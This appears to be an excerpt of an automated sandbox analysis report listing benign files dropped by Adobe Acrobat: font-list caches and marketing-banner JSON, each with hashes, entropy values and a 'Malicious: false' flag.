Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.904

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.904

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.376715188189229
Encrypted:	false
SSDEEP:	6:YEQXJ2HXS4+FIbRI6XVW7+0YcniDoAvJM3g98kUwPeUkwRe9:YvXKXeYpW7tisGMbLUkee9
MD5:	C5096EE56A36BFF1F05A99CFEE98C253
SHA1:	B2DBEE79305EE94309CE4E8D61AAE4EFD0D88C0A
SHA-256:	2B48711137269AB7885ABDC285E06E7D86415A8BF307C931F91D6B4F011801FC
SHA-512:	B415C0AE3855A1B0FF3C041F3A80B2662F87E827FDBADDD73309013BEDAFA9D6E15154004604EB49F89AFC082C6713790E86BCC5C4798E021DBEA2E18E5F62D4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"529d37fb-d990-496a-8490-12b7b5683a0b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736713829382,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.319139002132697
Encrypted:	false
SSDEEP:	6:YEQXJ2HXS4+FIbRI6XVW7+0YcniDoAvJfBoTfXpnrPeUkwRe9:YvXKXeYpW7tisGWTfXcUkee9
MD5:	5BFB747AFE8805B00C70B1B8B8F9DB94
SHA1:	E3BA19CE9B4B907548C26BEA62964365BF521F7C
SHA-256:	42416229F6E5647B88EDA056D88F2559E901CA9D95E3AD39AD72C3945F59AB04
SHA-512:	D0A1565978F5826A3DA4CA2E6DE9C60F130DD2308DD7E440833F33DABEB40F1F8127B1C0F83161A38126CEC4F2134A0767B4189B06525216FEA079779D7F0167
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"529d37fb-d990-496a-8490-12b7b5683a0b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736713829382,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.298029854743454
Encrypted:	false
SSDEEP:	6:YEQXJ2HXS4+FIbRI6XVW7+0YcniDoAvJfBD2G6UpnrPeUkwRe9:YvXKXeYpW7tisGR22cUkee9
MD5:	8421ED698816F0DAB2A82EA3E1F24CFF
SHA1:	C1FEB201333E95B27724627F27E988DB87ABCA29
SHA-256:	B7B888B308DDE11997FFE1C04A9B4056248C1FCE7C986A370DE1EF3985E6E566
SHA-512:	87ADA0F9B028EA946F3D94AB9CCB2381585AA9374124448577468C6E1A1DD8422C94F9E7A87D16AD05C66CCE8C81DBD483F3A224BBD7F930F2C25E6C6C365DD8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"529d37fb-d990-496a-8490-12b7b5683a0b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736713829382,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.356076550119378
Encrypted:	false
SSDEEP:	6:YEQXJ2HXS4+FIbRI6XVW7+0YcniDoAvJfPmwrPeUkwRe9:YvXKXeYpW7tisGH56Ukee9
MD5:	CAF71A296B6D291536DF9FD1E4F3AAD5
SHA1:	B33913423445F3F7C749662C56D3E28C73B50C30
SHA-256:	F72A568C8FFFF63B57395D7E27875A8BFBCFAF1C84FB5B96E219574C82F551A8
SHA-512:	36CD1024FAB176520486C5CFF39FBD2F70AB1B818BC569365BCC5C1AF6597D57A68A81F4F90E1CA4351668CEC2044ED12135141DB8667BA7E5417180566F3C99
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"529d37fb-d990-496a-8490-12b7b5683a0b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736713829382,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.69068557562212
Encrypted:	false
SSDEEP:	24:Yv6XriUJpLgE9cQx8LennAvzBvkn0RCmK8czOCCS0:YvpUhgy6SAFv5Ah8cv/0
MD5:	2F6296F34024CF61EF46D5D88F65079C
SHA1:	E7FD2E322BC25C8F5D3DC42F8F06A92C3F1AF3F8
SHA-256:	D1E71194ED37DC7C485D8E1F6126AA66443AFE694AB1FACF458E83800A16C717
SHA-512:	387B9C3A5442A4CB9FAB313BF1D2B02D7F7BB8F8CE7BB0A7E66FB24219B430B07BEB6B7D1AD56B37A262EAD489BD068A638A6DFC3B296E7ABA76F52C4ADBFA13
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"529d37fb-d990-496a-8490-12b7b5683a0b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736713829382,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.303004522100626
Encrypted:	false
SSDEEP:	6:YEQXJ2HXS4+FIbRI6XVW7+0YcniDoAvJf8dPeUkwRe9:YvXKXeYpW7tisGU8Ukee9
MD5:	604B18D78DF5A31ACE230AC17E3ED8DC
SHA1:	FA2B438A4B5D2F8C16E93FF6B7FE8531F48EC754
SHA-256:	E5B2B71CB1EE537164333FE77EFBFB21192A8AE0C096E6206481CF9700D2D91D
SHA-512:	03A464FF41C9FD8FBF169F784C334406F266F740E9B3DD0CEF7850ADEF2E0F2375F13135284D8D545229C574CF4BBE1B1116ABB65A3D875685306ECD6B8B81F5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"529d37fb-d990-496a-8490-12b7b5683a0b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736713829382,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.304546849917626
Encrypted:	false
SSDEEP:	6:YEQXJ2HXS4+FIbRI6XVW7+0YcniDoAvJfQ1rPeUkwRe9:YvXKXeYpW7tisGY16Ukee9
MD5:	33B457C054106EA2BDCEE140B947D4D3
SHA1:	CDD6A625D02230873BE56C2097F8DE3E7B2BD5CB
SHA-256:	959C31E1FD8E141B46243292F2B80D6E52587CD1592AF77B0578E834BB3E4916
SHA-512:	0B9BDCB15D65F14DC66EEDBF2529A960B89ACB764FA66B7B4D7281964F6357360CCDFB03BB562D4A406D3C25972CFDACFDAD463DB774FE8146C275DD4C7AAD49
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"529d37fb-d990-496a-8490-12b7b5683a0b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736713829382,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.322465727159932
Encrypted:	false
SSDEEP:	6:YEQXJ2HXS4+FIbRI6XVW7+0YcniDoAvJfFldPeUkwRe9:YvXKXeYpW7tisGz8Ukee9
MD5:	42F2C39472FC9F4CB7BC6194993524DF
SHA1:	EFC5CA37BBF458575CC0682B734A7C41223EC696
SHA-256:	86AFFFEFF673ED52A5A53D30119723D4913D8CBDD623F097408583B2FABAD3BB
SHA-512:	0AB5F2F78C187717704279B8D3414F8C096C4C3E1A04F509996BF288DDB69B47CDFDCF589FA221FA3B155D5F17DA31846944CFDCF0C81243775BD60D7F26E97A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"529d37fb-d990-496a-8490-12b7b5683a0b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736713829382,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.329669165592416
Encrypted:	false
SSDEEP:	6:YEQXJ2HXS4+FIbRI6XVW7+0YcniDoAvJfzdPeUkwRe9:YvXKXeYpW7tisGb8Ukee9
MD5:	0BBB1BC3675A9D319619F43F3C82EF17
SHA1:	4E7909D6DEC253891D05047FA1DBDEDE490FD65D
SHA-256:	2116EB0AE2468CD98B1742FF88F1545B945BA923B1FDF2657CB2CE4AC5E896D9
SHA-512:	48BAFBFEC430CED75D89D1D786619189945E1E26B471AB824D08303F138A40C66DA076D83590C67611DF14521F6FF16FD7E888707BFDAEBA2CC9C915A973B516
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"529d37fb-d990-496a-8490-12b7b5683a0b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736713829382,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.310526864310889
Encrypted:	false
SSDEEP:	6:YEQXJ2HXS4+FIbRI6XVW7+0YcniDoAvJfYdPeUkwRe9:YvXKXeYpW7tisGg8Ukee9
MD5:	A3131F3732119572991A15A2D0A5EF31
SHA1:	B6343BFBC069579E70E2A1705AFFA0CD6322B561
SHA-256:	0DBC445FE95523C49F40042A4FDB0EB866E0F362D3A0032929E6D384C8FFC1CF
SHA-512:	5948F3CAEABA6607FA0C5C66FC493A6C6DB188904705BEC5436724D2E8457A33456925DC1E8E497FB52F6E23FC5AC7AE46EFC86EDDB22330B1B43A125111B73D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"529d37fb-d990-496a-8490-12b7b5683a0b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736713829382,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.29644486771887
Encrypted:	false
SSDEEP:	6:YEQXJ2HXS4+FIbRI6XVW7+0YcniDoAvJf+dPeUkwRe9:YvXKXeYpW7tisG28Ukee9
MD5:	71B82F70F81A4B10A140FC2D031DA37E
SHA1:	4C31722489A820E54A3BE6FB5E46613FD05530B5
SHA-256:	D372AB8C36D8A19234C5F1536ECDCDBBB20CD6C82321A01BC891B85598009AC3
SHA-512:	7358DD23FA98C2CD520DF8434355259A39F828B42B026850F7E6EE2746BDEA5C7B145DFFDBD002C6B369C9F28FCFCC9ABD00FFBBE6C7691261BD713530F317DA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"529d37fb-d990-496a-8490-12b7b5683a0b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736713829382,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.294001612401859
Encrypted:	false
SSDEEP:	6:YEQXJ2HXS4+FIbRI6XVW7+0YcniDoAvJfbPtdPeUkwRe9:YvXKXeYpW7tisGDV8Ukee9
MD5:	9800B708807D6D1889CAE834E97F0B8B
SHA1:	C6ACA075ED0EC13B5C88ADA122981A2CB2EC2F91
SHA-256:	71ACF0300ADAE0E939B1B0CC9CEE61E2E09229E90C1A812316F327937EB2D802
SHA-512:	796589B0D6F933B26750710F31ADC175F9B233E20CDE1FCE7156E9A1BD1954ED193F34A4D04402014002164ECD05063CF14F72EBDF5A7D48F9A4A3EF22206B57
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"529d37fb-d990-496a-8490-12b7b5683a0b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736713829382,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.295820539207557
Encrypted:	false
SSDEEP:	6:YEQXJ2HXS4+FIbRI6XVW7+0YcniDoAvJf21rPeUkwRe9:YvXKXeYpW7tisG+16Ukee9
MD5:	0C7CC7270FCD38ECE4F9C1B22F97D7EB
SHA1:	8F5B5FE561FFBBC0C7664A20B40335F97FADF059
SHA-256:	D2B3168A8853BB4A26FA5F6B5B728A2A9D7DAD27B1C929F56937B96A1204EF63
SHA-512:	4C33C0A211537BC658E7720205A82C30441B4D343417574A5A26DE18AB79D74D3E170187D04E143C43C38EDC2864235E4C21155F930802A97287673162EF99F7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"529d37fb-d990-496a-8490-12b7b5683a0b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736713829382,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.664051377700155
Encrypted:	false
SSDEEP:	24:Yv6XriU5amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS0:YvpWBgkDMUJUAh8cvM0
MD5:	77BF894E43CE31937D19119E414807F7
SHA1:	120D9D2508AEFB88F98E179580E6080E3A908E00
SHA-256:	FE018C9EFB87AF3156A3D439350569B44E87022B4DCFA830969EDBA60FCCD035
SHA-512:	094A5002AC043EF1FE526E4281E395FCAF9C1FE4D2CF35C245E3F5E9F0B6649D580C0F3D59EE1FC14046E3D0A73330A21AE3B187E0CCCB564DEC78D47D27674C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"529d37fb-d990-496a-8490-12b7b5683a0b","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736713829382,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.269860442092315
Encrypted:	false
SSDEEP:	6:YEQXJ2HXS4+FIbRI6XVW7+0YcniDoAvJfshHHrPeUkwRe9:YvXKXeYpW7tisGUUUkee9
MD5:	10B902CDB85620304B506FF257DB42AF
